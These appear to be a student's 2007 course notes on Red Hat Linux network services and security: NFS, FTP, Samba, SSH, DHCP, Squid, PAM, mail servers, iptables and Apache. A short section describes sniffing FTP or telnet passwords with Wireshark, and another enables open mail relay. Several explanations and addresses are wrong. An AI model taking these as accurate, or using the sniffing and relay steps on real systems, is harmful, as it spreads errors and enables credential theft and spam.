Notes for personal use :
RH- 253
LINUX NETWORK & SECURITY ADMINISTRATION
( HOW DOES THE SERVER CONFIGURATION)
1. introduction to services :
services : background processes / daemons
3 types of services ::
1) init base services
2) system base services
3) xinet based services.
1) server the services from init.d file
2) network based services.
3)----
# ls /etc/init.d
(whatever daemon available in this services.)
How to check a status of services
Syntax :
# service < service name > status
# service vsftpd status
To start services
# service < service name > start
# service < service name > stop
# service < service name > restart
# service < service name > reload
* xinetd based services
x – extra
inet – internet
d – services
# /etc/xinetd.d
# ls /etc/xinetd.d
( list the xinetd.d)
Particular setting of particular file is configuring .
The configuration file for xinet based service.
# vi /etc/xinetd. conf
Service xyz status cannot be used for xinetd based services
# service xinetd restart
# service xinetd stop
* common configuration file for all xinetd based services.
# vi /etc/xinetd.conf
o/p define general logging characteristics
* log_type = SYSLOG daemon info
: whatever any client telnets to the server then it’s going to record that particular /var/log/messeges
* log_on_failure = HOST
: incase of failure for telnet from client server is going to record only the IP address of client on the /var/log/messegess of the server
* log_on_ success = PID HOST DURATION EXIT
: whenever the client successfully telnets to the server then it is going to record the process ID, HOSTNAME, DURATION, when the HOST has exited it is going to record these action /var/log/messeges of the server
Define access restriction defaults
CPS = 50 10
Speci - : connection per second if there are more than 50 client attached at aa time then server will not except new connection for next 10 second
Instance = 50
Speci : 50 client can telnet to the server at a time
Per _ source = 10
Speci : this time given by the server to the client to accept that new connection .
How to install and configure a telnet service
C –nodeps
# rpm –ivh ftp://192.168.0.254 :/pub/RHEL5/Server/telnet- server *.rpm
Telnet configuration file
# vi /etc/sinetd.d/telnet
disable = no X yes
tells the status of telnet if no telnet is on if yes telnet is off
to see the changes disable = no put-yes at line no 12 .
:wq!
# service telnet restart
# telnet 192.168.0.2 25 port no.
# quit
HELO cracker.org
Quit
4) service telnet
:-
5) {
:-
6) flags = REUSE
:-
\7) soket_type = stream
:- TCP/IP based services
8) wait = NO
:- multi tasking service i.e no of client can get attached to the telnet server
9) user = root
:- owner of the telnet server.
10) server = /usr/sbin/in.telnet
:- main executable file
11) log_on_failure + = USERID
:- whenever there is failure of telnet of client then it is going to
recording of UID in the /var/log/messeges.
# chkconfig httpd in
# chkconfig –list | less
On:- tells u that service is automatically going to be started in that particular runlevel
# chkconfig –list httpd
To list the status of single services
# chkconfig httpd off
To stop particular service
# chkconfig httpd of
To on particular service
# chkconfig httpd –del
To destroyed the connection between chkconfig & service .
* how to see current runllevel
# runlevel o/p n -3
10th oct
Unit -3
NFS SERVER
System v services :-
( basic networking services )
# Service portmap restart
# Service nfs restart
1) Network file system
2) To client one or more directories or client.
RPC : - Remote Procedural call services
RPC Services
* system v services
1) service portmap restart
2) service nfs restart
port no
for nfs 2049 (fix)
for portmap 111
configuration file
# vi /etc/exports
Directory to be share h/w address through which extra attribute
Dir to be shared argument
Lab 1) NFS (I)
Server side Step
Steps : - # ssh station X
Then built a directory for sharing
# mkdir –p /xyz
# cd /xyz
Open the directory
# touch a,b,c put some file
# Cat > aaa
# ls (list the containt)
# cd ( come back to home directory)
# vi /etc/exports
/xyz 192.168.0.0/255.255.255.0(rw,sync,no_root_squash)
Class b n/w class c n/w
:wq!
Speci :- 1) xyz – directory to be shared
2)192.168.0.0-- all the machine in the lab
3) 255.255.255.0 -- class c n/w
4) rw-- read & write
5) sync -- make changes immediately
6) _root_squash-- treat client root user server root user
# exportfs –r : refresh the export list
# service portmap restart
# service nfs restart
* client side steps
# ssh station X
# showmount –e 192.168.0.5
( it shows the extended list of the server)
# Mkdir –p /share
(make a dir on which share is mounted)
# mount –t nfs 192.168.0.5:/xyz /share
( mount the type of share nfs of 192.168.0.5:/xyz /share directory)
# mount
# cd /share (go to the share dir)
# ls
# cat > aa
# ls
# cd
# umount /share
# cd xyz
# ls
* how to share 2 machine in the lab
( extra client side step)
# vi /etc/exports
/xyz 123.456.789.123(rw,sync) 123.456.789.123(rw,sync)
:wq!
# exportfs –r
(refresh the list)
# service portmap restart
# service nfs restart
# mkdir –p /share
# mount –t nfs:123.456.789.123:/xyz /share
# mount
# cd /share
# umount /share
* how to share a single machine
# vi /etc/exports
/xyz 123.456.789.123 ( rw,sync)
:wq!
* sharing the machine example .com
# vi /etc/exports
/xyz *.example.com (rw,sync)
Or
/xyz station1.example.com
** extra client side step
# mount –r nfs –o soft 123.456.789.123:/xyz /share
(terminate u’r programme cleanly)
Soft:- if nfs server is shutdown after mounting the share an while accessing the share terminal will hang.
# service nfs restart
# mount –t nfs –o hard 123.456.789.123:/xyz /share
# service nfs restart
Hard: in above situation the terminal will hang till nfs service
on this sever started begin.
# mount –t nfs –o intr 123.456.789.123:/xyz /share
Intr : if the nfs server is shutdown while mounting the share then the client terminal will not hang
# mount -t nfs –o resize=8192 123.456.789.123:/xyz /share
Rsize = 8192 : read 8 line faster from the server by default speed
is a 1024 bytes.
# mount –t nfs –o wsize=8192 123.456.789.123:/xyz /share
Wsize=8192: write 8 time faster.
* how to move NFS share permanent on client
client side step
# vi /etc/fstab
123.456.789.123:/xyz /share nfs defaults 0 0
:wq!
# reboot
FTP SERVER :
1) file transfer protocol
2) functions :
download file --> - server -->client
uplod a file --> - server -->client
3) it’s configuration file
#vi /etc/vsftpd/ vsftpd.conf
4) system v services
# service vsftpd restart
Port no : 21
Login 2 types
1) anonymous 2) any linux user
a) password is not compulsory. a) password is compulsory.
b) home dir /var/ftp b) home dir =/home/username
c) by default u download the file c) download a file as well as upload a file
* LAB SEQVENCE :
Anonymous login:
# vi /etc/vsftpd/vsftpd.conf
Conf: file for ftp server
# ftp 123.456.789.123
#anonymous
# Passwd
# ls
#quit
# ftp login
#
# quit
Login using any linux user
# useradd abc
# passwd abc
# ftp server1
Name # abc
Passwd# abc
* uploading file
# ftp server1
#abc
Abc
# mput install.log
# y
#ls
# rm install.log
(change the pwemission form)
ftp> # quite
* how to disabled anonymous login
# vi /etc/vsftpd/vsftpd.conf
Line no 12 – remove & replace the yes with no .
Anonymous_enable = no
:wq!
# service vsftpd restart
# ftp server1
# anonymous
ftp # passwd
displayed u login incorrect / login failed
* how to disable all linux user
# vi /etc/vsftpd/vsftpd.conf
Line 12 – anonymous_enable = no / yes
Line 15 -- local_enable = yes / no
:wq!
# service vsftpd restart
# ftp server1
# abc
( ftp server is anonymous only)
* how to disable only single linux user .
# vi /etc/vsftpd/vsftpd.conf
Line 15 -- local_enable = no / yes
:wq!
# vi /etc/vsftpd/vsftpd.conf
Inside the list at the last line add the user which is to denied
Ex.. bob
:wq!
# service vsftpd restart
# ftp sever1
Name # bob
Passwd # bob
o/p login failed
#quit
* how to enable the anonymous user to upload file
# vi /etc/vsftpd/vsftpd.conf
Line no 12—keep it =yes
Line no 24 – anon_upload_enable =yes
Line no 46—chown_upload = yes --> remove #
Line no 47—chown_username = daemon
( remove the comment )
Line non 48 – anon_umax = 077 --> to add this line.
:wq!
# service vsftpd restart
# cd /var/ftp/
# mkdir-p inc
# chown root:ftp inc
# chmod 733 inc
# ls –ld inc
# cd
# ftp 192.168.0.2
Name: ftp
Passwd :
#ls
Cd inc
ftp> mput install.log
y
ls
quit
* how to check
# cd /var/ftp/inc/
# ls
SAMBA SERVICES.
*samba server
1) based on smb ( server message block)
2) used to access CISF (Common Internet File System)
Function : used to share on or more directory across os that is .
* system V services
# service smb restart
# conf file: vi /etc//samba/smb.conf
* how to define user defined share (USD)
Server Side Step:
# vi /etc/samba/smb.conf
In this file go to the end of the file & write down following init (patch).
[myshare]
Comment = mary’s and fred stuff
Path = /mnt
Valid users = andy
Public = no
Writable = no
Create mask = 0765
Host allow = 192.168.0. 127.
Browseable = yes
Specification : -
Line 1--> extra information about share
Line 2 --> directory to be shared
Line 3--> user allowed to access the share
Line 4--> no other user then bob is allowed to access the share
Line 5 --> read & write permission
Line 6 --> It is not printer share
Line 7 --> permission to upload file
Line 8 --> allow the all machine in the lab to share
Line 9 --> means client can see the share
[myshare] :--> it is a name of share u can put any name of ur share that u used.
:wq!
# useradd andy
# smbpasswd –a andy
( to access the samba server h add samba passwd to that
particular user by using this command)
# service smb restart
# setenforce 0
# service iptables stop
*client side step:--
Any station which is u’r server no.
# smbclient –L 123.456.789.123 –N ( samba client list of all share machine on the
server –N allows the anonymous login)
# smbclient //123.456.789.123/myshare –U andy
( used to access the share of name my
share & with uses ad bob)
# passwd : andy
Smb:\> ls
Smb:\> mput test1
Y
Smb:\> ls
Smb:> mget test1
Y
Smb:\> quit
# ls –l
* how to solve home dir share
--> client side steps only ( there is no server site)
# smbclient //123.456.789.123/andy –U andy
Passwd: andy
Smb:\> ls
Smb:\> rm test ( if u want to delete any file from it then use this command)
* how to access the printer share go to server side
---> go to the GUI --> open terminal
#system-config-network
Put the name & then press forward--> forward --> Apply
-->go to the printer2 make it as default printer
# mkdir –p /usr/spool/samba
* server side step -->
# setenforce 0
# smbclient //123.456.789.123/printer2 –U andy
Passwd : andy
smb:\> ls
Smb:\> print test () for printing any file which u want)
Smb:\> quit
# lpr
#lprm 5 ( for deleting or cancel the lprm command)
* how to creat share for group
--> server side step
# vi /etc/samba/smb.conf
write list = @ group ( share will be available to this group also)
:wq!
# groupadd group ( name which is written in above)
# usermod –G group andy
# id andy ( it shows u id for the usr bob)
# service smb restart
-->Client side –
# smbclient //123.456.789.123/myshare –U andy
SSHD SERVER:--
PORT NO. 22
* feature
1) secure shell demon (sshd)
2) called as open ssh server
* functions:--
1) to administrator to system remotely due to root login
* system V services
* # service sshd restart
* configuration file for
# vi /etc/ssh/sshd_config
( 5 packages to verify )
1) rpm –q openssl
2) rpm –q openssh
3) rpm –q openssh_ askpass
4) rpm –q openssh- server
5) rpm –q openssh –client
* how to disable root login
* server side step -->
# vi /etc/ssh/sshd_config
(Remove the # prompt on line no.13 Then go to
line no39 remove the # also from present root login replace yes by no.)
* client side step
s.s.h stationX
* how to enable root login
# vi /etc/ssh/sshd_config
(to change the line 13 , 39)
:wq!
# service sshd restart
* how to disable one or more user
* server side step
# useradd ost
# passwd ost
How to denied
Vi /etc/ssh/sshd_config
After 39 line add a new line
Deny Users Ost
:wq!
# service sshd restart
# ssh ost@station3
passwd : deny
# vi /etc/ssh/sshd_config
* how to allow one or more users
# vi /etc/ssh/sshd_config
Remove line no40
Allow users ost only
:wq!
# service sshd restart
* how to add a banner to sshd server
# vi /etc/ssh/sshd_config
Go to line no 116 remove # from it & write a down banner /etc/myban
:wq!
# vi /etc/myban
Hello this is my station no .3
Init
:wq!
# ssh station3
( to displayed to u when login)
* extra client side step / command:
# ssh 123.456.789.123
# password : redhat (it shows u working directory)
# sftp 123.456.789.123
DHCP SERVER
Port no : 67
( it provides the fallen system IP address particular time to access)
It’s performing 2 compulsory function
DHCP: dynamic host configuration protocol
Compulsory function of DHCP
1) provide IP address to client automatically using
i) a random IP address from the range specification
ii) to provide fix IP address depending on the h/w address of NIC of client ( network Interface card – lan card)
2) to provide n/w Information to client
i) like netmask of client
ii) domain name of client ( example.com)
iii) DNS server IP address
iv) Getway IP Address
* Default lease time
Specification: the Ip address given by the server to the client for a specific time period ( 21600 sec)
* maximum lease time
speci :- this is time provided by server to client
the client has to renew IP add before
expiry of lease time ( 43200 sec)
* reneual time : Continue to same IP address
* system V services
# Service dhcpd restart
Configuration file :
#Vi /etc/dhcpd.conf
o/p
line ddns-update-style none;
option domain-name “example.com”;
option domain-name-server 123.456.789.123;
default –lease-time 21600;
max-lease-time 43200;
subnet 123.456.789.123 netmask 255.255.255.0
{
option router123.456.789.123;
option subnet-mask 255.255.255.0;
range 123.456.789.10 123.456.789.20;
Host station1
{
hardware ethernet 00:0F:EA:9D:71:AB;
fixed address 123.456.789.123;
}
Host station2
{
hardware ethernet 00:0F:EA:9C:AF:04;
fixed address 123.456.789.123;
}
Host station3
{
hardware ethernet 00:0F:EA:9D:99:64;
fixed address 1123.456.789.123;
}
Host station4
{
hardware ethernet 4C:00:10:53:0D:5E;
fixed address 123.456.789.123;
}
Host station5
{
hardware ethernet 00:0F:EA:9D:98:B8;
fixed address 123.456.789.123;
}
Host station6
{
hardware ethernet 00:50:BA:A8:7B:B8;
fixed address 123.456.789.123;
}
* 10 service security /service firewall TCP wrappers / Host Based security.
* there is two configuration file :
# vi /etc/hosts.deny
# vi /etc/hosts.deny
syntax for both the above file there are in 3 comumns
----------------:----------------:--------------
1/more 1/more optional
* how to configure hosts deny file :
server side steps :
# vi /etc/hosts.deny
Here addd the entire like :
Vsftpd : 123.456.789.123
:wq!
# service vsftpd restart
* client side step
# ssh 123.456.789.123
# ftp station1
So it should gives the error :-
Connected to service not available
* if you want to deny all the machine from using vsftpd then in the deny file i.e in
# vi /etc/hosts.deny
Write here
Vsftpd : 192.168.0.0. /255.255.255.0
then
:wq!
# ssh station6
# ftp server1
Or
# also you can write ALL in place of
192.168.0.0 / 255.255.255.0
Or
# station2.example.com
Or
# ALL EXCEPT *.example.com
* to deny more than 1 services in host deny file
vsftpd, sshd : 192.168.0.2
* to deny all service for all machine in the lab in the host deny file write
ALL:ALL
:wq!
* configuration of file host.allow :--
( it mails you the details like who has done ssh/ftp etc/ to you machine)
* now in the file host.allow write :
sshd :ALL: spawn echo “login attempt from % c to % s” | mail –s
“WARNING ” root
Meaning of above line
-sshd : execute programme on server
-echo : display messege
- % c : client
- % s : server
- mail : send a mail to root with subject “WARNING”
Then save it by
:wq!
* client side steos:
# ssh 123.456.789.123
#mail
SQUID SERVER 19/10/2007
Port no. :3128
* proxy server : A proxy server is a server that acts as a intermediately between the workstation user & the internet so that on enterprise can ensure security administrative control & caching services.
* a proxy server is associated with a
* getway server that separates the enterprise network from the outside network & a firewall server that protects the enterprise network from outside threats
* when using a proxy server the user is connected to the server & not the proxy acts as a client on the behalf of user
* it uses % of its own IP address to required the page located on the N/W once the page is returned the proxy server forwords it to the user isolation then from the internet.
Functions:
1) communication between LAN & ethernet
2) used in cybercafés
* feature :
proxy server in linux is called as a squid server.
* system V services
# service squid restart
Port no 3128
Conf file :
# vi /etc/squid/squid.conf
By default squid can’t receive request from remote machine.
* lab sequence
how to receive request from all of the machine in the lab
also give http.port no as .: 8080
*server side step
# vi /etc/squid/squid.conf
Go to the line no. 2410 and add
Acl example src 192.168.0.0/24 or
An like 192.168.0.254/255.255.255.0
( acl : access control list)
:wq!
* example : - name of the group ( it can be any)
* scr :- source ( to be whom he has give the access)
* 192.168.0.254/24 or
192.168.0.254/255.255.255.0: -- class c networks
Go to the no 2527 & add a new line
Which is : http_access allow example
* http_access : to allow the http request
* example : to gr. (example) for which the permission is to e given
:wq!
# service squid restart
* client side steps :
# ssh stationX
# squidclient –h 192.168.0.1 –p 3128
You should get an html page after giving the above command.
# squidclient –h 192.168.0.1 –p 3128 http://yahoo.com
You should get a waiting page
* how to deny/ block certain website with the help of a proxy server.
* server side step :
# vi /etc/squid/squid.conf
* Go to 55% of your screen or line no. 2410& add following:--
Acl otherguys dstdomain .yahoo.com
Acl otherguys dstdomain .hotmail.com
( here you’ve to add deny & follow group line 1 below the other)
* then go to the line no 2526 add:
http_access deny othereguys
( deny http access to the group “otherguys”)
:wq!
# service squid restart
# squidclient –h 192.168.0.1 –p 3128 http://yahoo.com
You get on html page with “Access denied ” error
If you give google.com ( in the place of yahoo.com) then it will give a
waiting page
* how to change port no 8080
# vi /etc/squid/squid.conf
To go line no 71. & give
http_port 8080
:wq!
* client side step
# squidclient –h 192.168.0.1 –p 8080 http://google.com
It gives u waiting page
* to configure mozilla to contact proxy server
* client side step :
# startx
Go to the mozilla firefox general --> edit-->preferences-->connection-->setting-->select direct to connection to the internet.
* To get mails on the client from server on the client go to edit-->preference -->direct connection to the internet --> give IP address of server & port as 8080--> select the option below – ok
SECURITY CONCERS & POLICIES
* TYPE OF SECURIETTY :
n/w firewall services
PAM DIFFERENT
Pluggable authentication module room ar main server in organization
D DOS ATTACKS ( DENIEL OF SERVICES ) :--
*DDOS ATTACK (distributed denial of services)
* A “denial- of service” attack is characterized by an explicit attempt by attackers to prevent legimate user of service from using that service. Example includes .
* Flooding a network, thereby prevent legimate network traffic ;
* Disrupting a sever by sending more request than it can possibly handle there by preventing access to a service
* Preventing a particular individuals from accessing a service ;
* Disrupting service to a specific system or person
--> attack can be directed at my network device including attack on routing device and web electronic mail, or domain name system server
* TCP/& UDP ( protocol)
TCP UDP
1) transmission control protocol 1) user defined protocol
2) n/w connection is required 2) no need of connection
3) 1st established connection 3) no need of establishing connection
& then refers data.
4) no threat of data loss 4) threat of data loss
5) same as telephone 5)same as sending a postcard
6) slower than UDP 6) faster than TCP
* LAB SEQUENCE :
# netstat –taupe | less
---shows network status of all the local machine
-t : list of all TCP connection
a : give details of all connection
u : details of UDP connection
p : PID of services running
e : extended information about the services
proto : i.e protocol either TCP or UDP
user : owner of the service running .
PID : process ID of the service .
Program name : It is the server name
Foreign add : client IP address
State : status of connection.
LISTEN : service is ready but there is no client to accept the service.
Established : connection established between server & client
*.* : no client attached to the service
# nmap –po 192.168.0.2
Nmap : network mapping or statues of remote machine.
-po : disabled pinging .
1) wireshark
2) wireshark-gnome – INSTALL THESE 2 PACKAGE.
* how to hack password of FTP or telnet using the wireshark
step: -->
startx--> application--> go to wireshark network analize --> an go to capture--> go to interface the go to --> pseudo-->device that capture the all interface --> pres the start --> ok
open terminal--> ftp station2
II ..PAM
Pluggable authentication modules.
1) pluggable :- plug & play s/w or h/w
2) modules : set of complied function
3) authentication : - here u name to provide username + passwd + other parameters
# ls /lib/security/
Supporting files always stored with extension as .so
Name of the file meaning/function configuration file
1) pam_unix.so when username entered at the login prompt I ask and check a passwd.
2) pam_securetty.so 2) user to lock or unlock console.
# vi /etc/security
Lock console with # go to console &
remove the # from on the console
3) pam_nologin.so 3) conf file
# vi /etc/nologin (empty)
Allow only root user not for non root user
Touch /etc/nologin if this file is allowed to
login as a non root user
lab:
# touch /etc/nologin
# ls /etc/nologin
Go to another console try to login as non root
-- if not able to login then go to root user &
Remove /etc/nologin file as
# rm /etc/nologin
4) pam_chroot.so 4) this file is operate in rescue mod
Chroot /mnt/sysimage
5) pam_console.so 5) it will give reboot an halt permission for
Non root users.
6) pam_env.so 6) it will create environmental variable or
System variable whenever you login
Ex. Set | less
7) pam_ftp.so 7) whenever u login with the help of
ftp to the server it’s going to ask u to
u to provide name & password
8) pam_group.so 8) whenever new user is added it will
Automatically cret UPG-(user private group)
9)pam_issue.so 9) conf file is
# /etc/issue --> issues a kernel version
10) pam_mail.so 10) it will show message u have mail
At login
11) pam_mkhomedir.so 11) whenever new user is created it is
Automatically create home dir for user
12) pam_motd.so 12) in conf-n # vi /etc/motd
Message of the day
13)pam_rootok.so 13) whenever a non root-user resize to
To give an administrative command
It will ask for root passwd (authconfig)
14)pam_smb_auth.so 14) it will enable samba authentication
( the smb client command)
15)pam_smbpass.so 15) it will stored samba password in a
File using smbpasswd command
16) pam_time.so 16)it will enable time base access for all
Xinetd base services.
17) pam_umask.so 17) it will automatically set umask of user.
* how to create a power user :--
# useradd tom
# passwd tom
# which authconfig –tui
/usr/sbin/authconfig-->
# vi /etc/sudoers
Go to the line no.21 an add a line
User_Alias U = tom
Speci:- (create an alias for user tom as capital U)
Go to line no 28
Cmnd_Alias C = /usr/sbin/authconfig-tui
Speci:- (create a shortcut capital C for the command authconfig-tui)
Then go to the line no-77 an add
U ALL= C
Speci:- (tom user from all the consoles can create the authconfig command)
:wq!
* login with tom user
sudo /usr/sbin/authconfig-tui
passwd : tom
( authconfig – tui --> directly going)
IMP:
* how to give grub passwd
# grub-md5-crypt
Passwd = redhat (which u want to crypt)
Change console --> then open file
# vi /boot/grub/grub.conf
Go to time out line below the line is
Password –md5
( go to 1 console to get crypted password select
The crypted password with mouse right click
-go to second consol & press left mouse button and
Paste a crypted passwd after –md5 then wq! Reboot)
:wq!
# reboot
System monitoring
1)# df –H
Disk free size in human readable fashion
2) # sf –h disk free size in system manner
3) # du /etc/ -H
It shows disk usages of /etc directly in human redable fashion
4) # df –sh
Disk usages summery of /etc directory in human redable fashion.
1) find /-type -perm +600
find in /directory a type of file having ( special permission 6000)
6) find / -type f -perm o+w
Other having write permission find in /directory a type of having write
permission of other .
2) find /home –type f –nouser -o – nogroup
* situation in which this type of file is created steps
# useradd test
# passwd test
#Ls –ld /home/test/
Then
# find /home –type f –nouser -o- nogroup
* log files of linux
1) tail /var/log/messages ( mail log file)
it consist of system messages
2) tail /var/log/secure :
user , group, telnet, ssh related login messages.
3) tail /var/log/maillog : (e mail related )
i.e incoming or outgoing messages or email
4) tail /var/log/dmesg.
Kernel related messeges
5) tail /var/log/xferlog
6) tail /var/log/transfer log
# logwatch
# mail
# rpm –q psacct * --> check pack
Rpm-ivh
# rpm –q systat --> system statistic
# rpm –ivh ftp://192.168.0.254:/pub/RedHat/RPMS/sysstat * rpm.
* package for system status & process accounting
# ac –p person wise wages for system in hours
# ac –d . daywise usages of system.
# ac –pd usage of a/c persent & day wise
# accton /var/account/pact
Turn on the accounting for the system
#accton --> turn off accounting
# last -->
# lastcomm -->
#Rpm -ivh ftp://192.168.0.254:/pub/RedHat/RPMS/ rhce -< packname> *.rpm
#Rpm -ivh ftp://192.168.0.254:/pub/RHEL5/ rhce -< packname> *.rpm
4. EMAIL SERVER 25TH OCT 07
PORT NO:.
1) sendmail
2) postfix
3) imap
4) pop
* how does email works on Internet :--
1) MUA : mail user agent
This is obtained when the user who want’s to send a mail
open up his account by providing him login name and
passwd. (account page of user)
2) MTA : mail transfer agent
Mail transfer agent is a part of e-mail system that does
much of the working of transferring the e-mail message
from one computer to another.
( either on same local network or over the internet to a remote system)
3) MX : mail exchanger
4) SMTP : simple mail transfer protocol.
5) MX : mail exchanger
6) MDA: mail delivery agent
This is transfer u’r mail from mail box.
7) MAA : mail accessing agent
Use to access u’r mail from
8) MTA : mail transfer agent
1) Sendmail Server :-
Features :--
ii) Sendmail is the MTA ( Mail Transfer Agent)
iii) System v services
# service Sendmail restart
iv) port no.: 25
v) configuration file .
# vi /etc/mail/Sendmail.mc ( macros)
* what is macro
--> macros are a great productivity tool it allow up to run a series of action with a click of a button a macro is a set of task combined together so that u can run or reply the entire task together with a single command.
vi) b default Sendmail cannot receive email from remote machine but it can send emails to remote machine .
IMP:
* LAB SEQUENCE :
* How to receive a email from remote machine .
* server side step—
# cd /etc/mail
# vi Sendmail.mc
Go to line no 116.
Before:--> DAEMON_OPTIONS(‘port=smtp,addr = 127.0.0.1, NAME = MTA’) dnl
After :--> dnl DAEMON_OPT IONS(‘port=smtp,addr = 127.0.0.1, NAME = MTA’) dnl
3) DAEMON OPTIONS :-
4) Port = smtp – use port no. 25
5) Addr= 127.0.0.1 – loopback IP add
6) NAME=MTA – use Sendmail as mail transferring agent.
:wq!
# m4 sendmail.mc > Sendmail.cf
# service Sendmail restart
* client side setup
* how to heck above configuration
# ls –l | mail –s “ hello root” root@ station2.example.com
# mail
* how to create alias for the user
# server side steps
# vi /etc/ aliases
Go to end of the file
Ost: root
:wq!
# newaliases
Refresh the list of aliases
# service Sendmail restart
* client side setup
* ls –l | mail –s “aliases ” ost@station2.example.com
go to the server side
# mail
* aliases are used to hide identity of server
* how to enable open realy feature
* server side steps
# cd /etc/mail
Open conf file
# vi Sendmail.mc
Go to the line no 84 & add a line
FEATURE ( promiscuous_relay) dnl
:wq!
# m4 sendmail.mc > Sendmail.cf
* client side
# telnet 192.168.0.2 25
HELO example.com
MAIL FROM : hello@example.com
Sender ok
RCPT TO : root@station2.example.com
Recipient ok
DATA :
SUBJECT : “Sendmail server ” (give any sub)
Today we are going to study
A mail server & we understand that
The how to create an aliases .
.
Quit
Then go to the server
# mail (to displayed u mail list then u read after the mail will be goan)
26/10/07
POSTFIX :--
( Also mail transferring Agent)
Feature of postfix –
Postfix is a type of MTA ( mail transfer agent )
It is alternative for the Sendmail
System V services.
# service postfix restart
Port no: 25 as it as Sendmail
# postconf –e “option = value”
By default postfix cannot receive mail from remote
machine but can Sendmail to the remote machine
LAB SEQUENCE :
How to receive e-mail from remote machine.
* server side steps .
# rpm –q postfix -- check package
If packeges is not install 1st install the package by yum /rpm
# alternatives –config mta
Select postfix service 2
# service postfix restart
# postconf –e “ inet_interfaces = all”
Speci:- edit the configuration of postfix such that it except mails
from all of the machine in lab
# service postfix restart
* how to check above configuration
client side steps :
# ls –l | mail –s “hellooooo” root@station2.example.com
* how to create an alias
serve side step --> open conf file
# vi /etc/aliases
Put the end of the file
Ost: root
:wq!
# newaliases ---refresh the list
# service postfix restart.
Go to the client side give command
# ls –l | mail –s “hii” ost @station3.example.com
Then go to the server side
# mail
You should get a mail
* how to enable open raly features
# postconf –e “mynetworks_style = subnet ”
# service postfix restart
Then go to the client side step
# telnet 192.168.0.3 25 ( c types of port)
HELO: example.com
MAIL FROM: xyz@example.com
RCPT TO: root@station3.example.com
DATA
SUBJECT : “postfix server”
Here u put some text which is u want
To type any kind of line u want to .
.
Quit
* Then go to the server
# mail should get a mail
1) POP : post office protocol
2) IMAP : Internet mail access protocol
3) Functions : to receive mail remotely server to client
System v services
# service dovecot restart
# vi /etc/dovecot.conf
Port no for POP 110
Port no for IMAP is 143
Go to the line no 17 then remove #
Server side step
# service dovecot restart
# vi /etc/dovecot.conf
Removing # from line no 17
:wq!
#service dovecot restart
* how to check mail for POP server
* add user
# useradd champ
# passwd champ
# ls | mail –s “hello” champ
# telnet 192.168.0.3 . 110
USER champ
PASS champ
STAT
RETR 1 mail no (retrieve)
DELE 1 mail no
QUIT
* how to check IMAP services /server
go to the client
# mutt –f { bob@station3.example.com/ssl} (bob any user u sendmail)
(# su –champ # mail)
* NETWORK FIREWALL
* WHAT IS IPTABLES ?
Iptables is the user space command line programme used to configure the linux IPV 4 packets filtering rule set. It is targeted towards system Administrators.
Since network address translation is also configured from the packet filter ruleset Iptables is used for this too.
The Iptables package also include ip6tables.
Ip6tables is used for configuring the IPv6 packets filter.
* how to disabled a firewall
# service Iptables stop
( disable network firewall)
Configuration of firewall.
# Iptables -A INPUT –s 192.168.0.2 –j DROP
Meaning:
1) Iptables -->this command is configuring the firewall
2) –A --> appends or add the rule in list
3)INPUT --> INPUT traffic
4) –s --> source
5) –j DROP --> jump to DROP
* block or DROP incoming traffic coming from the source the ( 192.168.0.2)
particular IP address
# Iptables –nL
Numerically list all of the rules in firewall
# Iptables –A INPUT –s 192.168.0.2 –j REJECT.
REJECT --> on the client side it will issue an error message.
* how to add a rule at particular position
# Iptables –I INPUT3 -s 192.168.0.3 –j DROP
# Iptables –nL
* how to delet all the rules at once
# Iptables –F INPUT
F --> flush a 1 of the rule from INNPUT traffic or delete all of
the rule from INPUT traffic.
* to deny all at once
# Iptables –p INPUT DROP
* to accept from particular machine
# Iptables –A INPUT –s 192.168.0.2 –j Accept
--> accept the traffic from source 192.168.0.2
# Iptables –p INPUT ACCEPT
Accept from all the machine
# Iptables –nL
* DROP TRAFFIC from entore lab
# Iptables –A INPUT –s 192.168.0.0/24 –j DROP
* if u want to drop traffic from lan card
# Iptables –A INPUT –I eth –j DROP
Speci:-Add an incoming interface fist lan card i.e wth0 and drop its traffic
# Iptables –A OUTPUT –o eth0 -j DROP
Speci:- add rule in outgoing traffic for the lan card
* how to stop a ping command
# Iptables –A INPUT –p icmp –j DROP –p ( protocol)
Icmp --> inet control message protocol with the help of this command no client
To the ping to the server.
* how to stop ssh service on server
# Iptables –A INPUT –p tcp –dport22 –j DROP
TCP – transmission control protocol
--dport22 – means destination port 22 no machine can ssh to server
* how to apply policies a particular user
* # Iptables –A OUTPUT –m owner –uid – owner 502 –j DROP
-m modules ( supporting files)
--uid –owner 502 --> means the owner having uid 502
--drop the output traffic for the owner with uid 502
* how to drop 1st pocket coming from input traffic i.e none of the client can’t access any of the services to u’r machine
# Iptables –A INPUT –m state –state NEW –j DROP
* all of the rules in firewall are stored in RAM on temporary bases to make it permanent on the machine following thing are carried out.
# service Iptables save
# vi /etc/sysconfig/Iptables.
* removing the permanent rules
# rm –rf /etc/sysconfig/Iptables .
30th oct 2007
IMP:
APACHE SERVER
Features
1) Apache 2 --> Version
2) It Is A Type Of Web Server
3) Works On Http: http : Hyper Text Type Protocol
FUNCTIONS OF APACHE SERVER
- to host one or more website on a single server
* system v services
# service httpd restart
Configuration file
# vi /etc/httpd/conf/httpd.conf
Port no.: 80
LAB SEQUENCE :
* how to configure default website using apache website
* server side step :
open conf file:
# vi /etc/httpd/conf/httpd.conf
Go to line.: 57 --> ServerRoot “/etc/httpd” (it’s configuration directory of server)
Go to line.: 134 --> listen 80 (port no of apache web server)
Go to line .:230--> User Apache (it’s owner of apache server)
Go to line.:231--> Group apache( group owner of apache sever)
Go to line.:250--> ServerAdmin root@stationX.example.com
(Administrative sever is root)
Go to line 264--> ServerAdmin root@stationX.example.com (simple server name)
Go to line 280--> DocumentRoot “/var/www/html”(document root of apache server)
* go to the end of file.:
* Add this following patch—
1) <VirtualHost 192.168.0.1>
2) ServerAdmin root@station2.example.com
3) DocumentRoot /var/www/html
4) ServerName station2.example.com
5) ErrorLog logs/station2.example.com-error_log
6) CustomeLog logs/station2.example.com-access_log combined
7) <Directory /var/www/html>
8) Options Includes Indexes
9) </Directory>
10) </VirtualHost>
Patchline1—start of default website
Patchline2—administrative of website
Patchline3—document root of apache server
Patchline4—name of the website
Patchline5—whenever any error in website it will record those error in this log file.
Patchline6—custom log whenever any client excesses the website it will stored the
excess log in this fiel
Patchline7—combined – syntax
Patchline8—start of directory option
Patchline9---includes it will enable server side programmes.
Patchline10—indexes if there is no index .html page or file in document in
subdirectory of document root it will displayed listing of all other
html file in a client
:wq!
# cd /var/www/html/
# ls
# vi index.html
HELLO..!
THIS IS THE DEFUALT WEBSITE FOR APACHE WEB SERVER
:wq!
# service httpd restart
* client side steps
# links http://station2.example.com
(if gor a error remote host identification change do this steps—
